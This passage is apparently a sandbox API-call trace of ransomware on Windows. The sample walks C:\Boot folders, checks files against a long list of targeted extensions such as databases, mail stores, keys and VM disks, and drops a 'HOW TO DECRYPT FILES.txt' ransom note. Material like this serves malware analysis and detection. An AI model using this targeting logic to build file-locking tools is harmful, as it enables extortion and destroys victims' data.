(pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.427] lstrlenA (lpString="*.bz2") returned 5 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.427] lstrlenA (lpString="*.gz") returned 4 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.428] lstrlenA (lpString="*.mkv") returned 5 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.428] lstrlenA (lpString="*.eml") returned 5 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.428] lstrlenA (lpString="*.msg") returned 5 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.428] lstrlenA (lpString="*.edb") returned 5 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.428] lstrlenA (lpString="*.accdb") returned 7 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.428] lstrlenA (lpString="*.odb") returned 5 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.428] lstrlenA (lpString="*.java") returned 6 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.428] lstrlenA (lpString="*.asm") returned 5 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.428] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.429] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.430] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.430] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.430] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.430] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.430] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0057.430] lstrcmpA (lpString1=".", lpString2="zh-HK") returned -1 [0057.430] lstrcmpA (lpString1="..", lpString2="zh-HK") returned -1 [0057.430] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.430] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="zh-HK" | out: lpString1="C:\\Boot\\zh-HK") returned="C:\\Boot\\zh-HK" [0057.430] FindFirstFileA (in: lpFileName="C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.431] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.431] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.431] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.431] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.431] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.431] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.431] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.431] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.431] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.431] PathFindFileNameA (pszPath="C:\\Boot\\zh-HK\\*.*") returned="*.*" [0057.431] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\zh-HK\\" | out: lpString1="C:\\Boot\\zh-HK\\") returned="C:\\Boot\\zh-HK\\" [0057.431] PathAddBackslashA (in: pszPath="C:\\Boot\\zh-HK\\" | out: pszPath="C:\\Boot\\zh-HK\\") returned="" [0057.432] lstrcatA (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\zh-HK\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\zh-HK\\HOW TO DECRYPT FILES.txt" [0057.432] GetFileAttributesA (lpFileName="C:\\Boot\\zh-HK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\zh-hk\\how to decrypt files.txt")) returned 0xffffffff [0057.432] CreateFileA (lpFileName="C:\\Boot\\zh-HK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\zh-hk\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.432] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.433] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.433] CloseHandle (hObject=0x84) returned 1 [0057.434] lstrcatA (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="C:\\Boot\\zh-HK\\bootmgr.exe.mui" [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.434] lstrlenA (lpString="*.ems") returned 5 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.434] lstrlenA (lpString="*.db") returned 4 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.434] lstrlenA (lpString="*.dbf") returned 5 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.434] lstrlenA (lpString="*.myox") returned 6 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.434] lstrlenA (lpString="*.myo") returned 5 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.434] lstrlenA (lpString="*.qbw") returned 5 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.434] lstrlenA (lpString="*.qbb") returned 5 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.434] lstrlenA (lpString="*.qbm") returned 5 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.434] lstrlenA (lpString="*.qbo") returned 5 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.434] lstrlenA (lpString="*.qbx") returned 5 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.434] lstrlenA (lpString="*.qba") returned 5 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.434] lstrlenA (lpString="*.qby") returned 5 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.434] lstrlenA (lpString="*.qbj") returned 5 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.434] lstrlenA (lpString="*.ofx") returned 5 [0057.434] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.434] lstrlenA (lpString="*.qif") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.435] lstrlenA (lpString="*.mye") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.435] lstrlenA (lpString="*.mbox") returned 6 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.435] lstrlenA (lpString="*.eml") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.435] lstrlenA (lpString="*.pst") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.435] lstrlenA (lpString="*.ost") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.435] lstrlenA (lpString="*.idx") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.435] lstrlenA (lpString="*.dbx") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.435] lstrlenA (lpString="*.sql") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.435] lstrlenA (lpString="*.mdb") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.435] lstrlenA (lpString="*.fdb") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.435] lstrlenA (lpString="*.wab") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.435] lstrlenA (lpString="*.dat") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.435] lstrlenA (lpString="*.txt") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.435] lstrlenA (lpString="*.jpeg") returned 6 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.435] lstrlenA (lpString="*.jpg") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.435] lstrlenA (lpString="*.png") returned 5 [0057.435] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.436] lstrlenA (lpString="*.php") returned 5 [0057.436] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.436] lstrlenA (lpString="*.cs") returned 4 [0057.436] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.436] lstrlenA (lpString="*.cpp") returned 5 [0057.436] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.436] lstrlenA (lpString="*.rar") returned 5 [0057.436] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.436] lstrlenA (lpString="*.zip") returned 5 [0057.436] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.436] lstrlenA (lpString="*.html") returned 6 [0057.436] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.436] lstrlenA (lpString="*.htm") returned 5 [0057.436] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.436] lstrlenA (lpString="*.xlsx") returned 6 [0057.436] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.436] lstrlenA (lpString="*.xls") returned 5 [0057.436] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.436] lstrlenA (lpString="*.mp4") returned 5 [0057.436] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.436] lstrlenA (lpString="*.ppt") returned 5 [0057.436] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.436] lstrlenA (lpString="*.pptx") returned 6 [0057.436] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.437] lstrlenA (lpString="*.doc") returned 5 [0057.437] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.437] lstrlenA (lpString="*.dot") returned 5 [0057.437] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.437] lstrlenA (lpString="*.docx") returned 6 [0057.437] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.437] lstrlenA (lpString="*.7z") returned 4 [0057.437] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.437] lstrlenA (lpString="*.tar") returned 5 [0057.437] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.437] lstrlenA (lpString="*.bz2") returned 5 [0057.437] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.437] lstrlenA (lpString="*.gz") returned 4 [0057.437] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.437] lstrlenA (lpString="*.mkv") returned 5 [0057.437] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.437] lstrlenA (lpString="*.eml") returned 5 [0057.437] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.437] lstrlenA (lpString="*.msg") returned 5 [0057.437] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.437] lstrlenA (lpString="*.edb") returned 5 [0057.438] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.438] lstrlenA (lpString="*.accdb") returned 7 [0057.438] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.438] lstrlenA (lpString="*.odb") returned 5 [0057.438] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.438] lstrlenA (lpString="*.java") returned 6 [0057.438] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.438] lstrlenA (lpString="*.asm") returned 5 [0057.438] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.438] lstrlenA (lpString="*.pfx") returned 5 [0057.438] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.438] lstrlenA (lpString="*.pem") returned 5 [0057.438] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.438] lstrlenA (lpString="*.p12") returned 5 [0057.438] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.438] lstrlenA (lpString="*.gpg") returned 5 [0057.438] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.438] lstrlenA (lpString="*.vsd") returned 5 [0057.438] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.438] lstrlenA (lpString="*.odg") returned 5 [0057.438] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.438] lstrlenA (lpString="*.raw") returned 5 [0057.438] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.439] lstrlenA (lpString="*.nef") returned 5 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.439] lstrlenA (lpString="*.svg") returned 5 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.439] lstrlenA (lpString="*.psd") returned 5 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.439] lstrlenA (lpString="*.vmx") returned 5 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.439] lstrlenA (lpString="*.vmdk") returned 6 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.439] lstrlenA (lpString="*.vdi") returned 5 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.439] lstrlenA (lpString="*.lay6") returned 6 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.439] lstrlenA (lpString="*.mpeg") returned 6 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.439] lstrlenA (lpString="*.djvu") returned 6 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.439] lstrlenA (lpString="*.tiff") returned 6 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.439] lstrlenA (lpString="*.backup") returned 8 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.439] lstrlenA (lpString="*.pdf") returned 5 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.439] lstrlenA (lpString="*.cert") returned 6 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.439] lstrlenA (lpString="*.docm") returned 6 [0057.439] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.440] lstrlenA (lpString="*.xlsm") returned 6 [0057.440] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.440] lstrlenA (lpString="*.dwg") returned 5 [0057.440] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.440] lstrlenA (lpString="*.nd") returned 4 [0057.440] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.440] lstrlenA (lpString="*.tlg") returned 5 [0057.440] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.440] lstrlenA (lpString="*.lgb") returned 5 [0057.440] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.440] lstrlenA (lpString="*.mov") returned 5 [0057.440] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.440] lstrlenA (lpString="*.xdw") returned 5 [0057.440] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.440] lstrlenA (lpString="*.ods") returned 5 [0057.440] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.440] lstrlenA (lpString="*.wav") returned 5 [0057.440] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.440] lstrlenA (lpString="*.mp3") returned 5 [0057.440] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.440] lstrlenA (lpString="*.aiff") returned 6 [0057.440] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.440] lstrlenA (lpString="*.flac") returned 6 [0057.440] PathMatchSpecA (pszFile="C:\\Boot\\zh-HK\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.440] lstrlenA (lpString="*.m4a") returned 5 